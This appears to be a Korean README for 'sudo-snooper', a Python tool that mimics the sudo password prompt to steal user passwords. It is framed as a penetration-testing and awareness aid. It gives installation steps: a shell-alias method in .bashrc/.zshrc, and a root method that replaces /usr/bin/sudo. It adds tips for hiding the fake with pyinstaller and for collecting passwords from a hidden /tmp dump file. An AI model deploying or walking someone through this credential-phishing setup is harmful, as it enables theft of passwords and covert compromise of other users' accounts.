
원래 sudo 바이너리처럼 작동하여 사용자가 비밀번호를 입력하도록 속이는 Python 스크립트
sudo-snooper는 원래 sudo 바이너리처럼 작동하여 사용자가 비밀번호를 입력하도록 속입니다.
원래와 동일한 가짜 프롬프트를 사용자에게 표시하여 sudo 비밀번호를 입력하도록 요청합니다.
이는 침투 테스트 또는 보안 평가에서 사용자 인식을 테스트하는 데 유용할 수 있습니다.
이 옵션은 더 쉽고 이식성이 좋지만, 주의 깊은 사용자에게는 더 눈에 띌 수 있습니다.
사용자가 사용 중인 셸의 .rc 파일(.bashrc, .zshrc 등)을 편집하고 다음을 추가하세요:
alias sudo='python3 /path/to/sudo-snooper.py'
sudo-snooper.py에 올바른 권한이 설정되어 있는지 확인하세요.
이 설치 옵션을 위해서는 루트 액세스가 필요합니다
이 옵션은 이미 루트 액세스 권한이 있지만 어떤 이유로 /etc/shadow에서 해시를 크랙할 수 없을 때 유용합니다. 기본적으로 사용자의 비밀번호를 피싱할 수 있습니다.
# mv /usr/bin/sudo /usr/bin/somename
sudo-snooper.py에서 다음을 변경하세요:
dumpdir = "/tmp/.snooper"
dumpfile = "/tmp/.snooper/dump.txt"
sudo = 'sudo'
# install -dm755 sudo-snooper.py /usr/bin/sudo
파이썬 파일에 필요한 권한 부여
여기서 좀 더 꼼꼼하게 사용자에게 읽을 수 없는 실행 파일을 만들 수도 있지만, 그 부분은 다루지 않겠습니다. 이에 대한 답변은 여기에서 확인하세요.
참고: 더 설득력 있는 설치 방법은 pyinstaller를 사용하여 컴파일하는 것입니다. 그러면 file /usr/bin/sudo를 실행했을 때 파이썬 파일로 표시되지 않습니다.
Archlinux에서 수행하려면: pyinstaller --onefile sudo-snooper.py가 작동합니다. 단, 컴파일 후에는 컴파일된 바이너리에서 파라미터를 변경할 수 없습니다.
설치가 완료되면 sudo-snooper를 일반 sudo와 동일하게 호출할 수 있습니다.
예를 들어, 다음을 실행하면
sudo vim /etc/resolv.conf
sudo-snooper가 호출됩니다 (올바르게 설치된 경우).
사용자 비밀번호를 묻고, 비밀번호가 올바르면 실제 sudo 바이너리로 리디렉션하여 명령을 실행합니다.
그런 다음 설정의 덤프 파일을 읽어 사용자 비밀번호를 확인할 수 있습니다.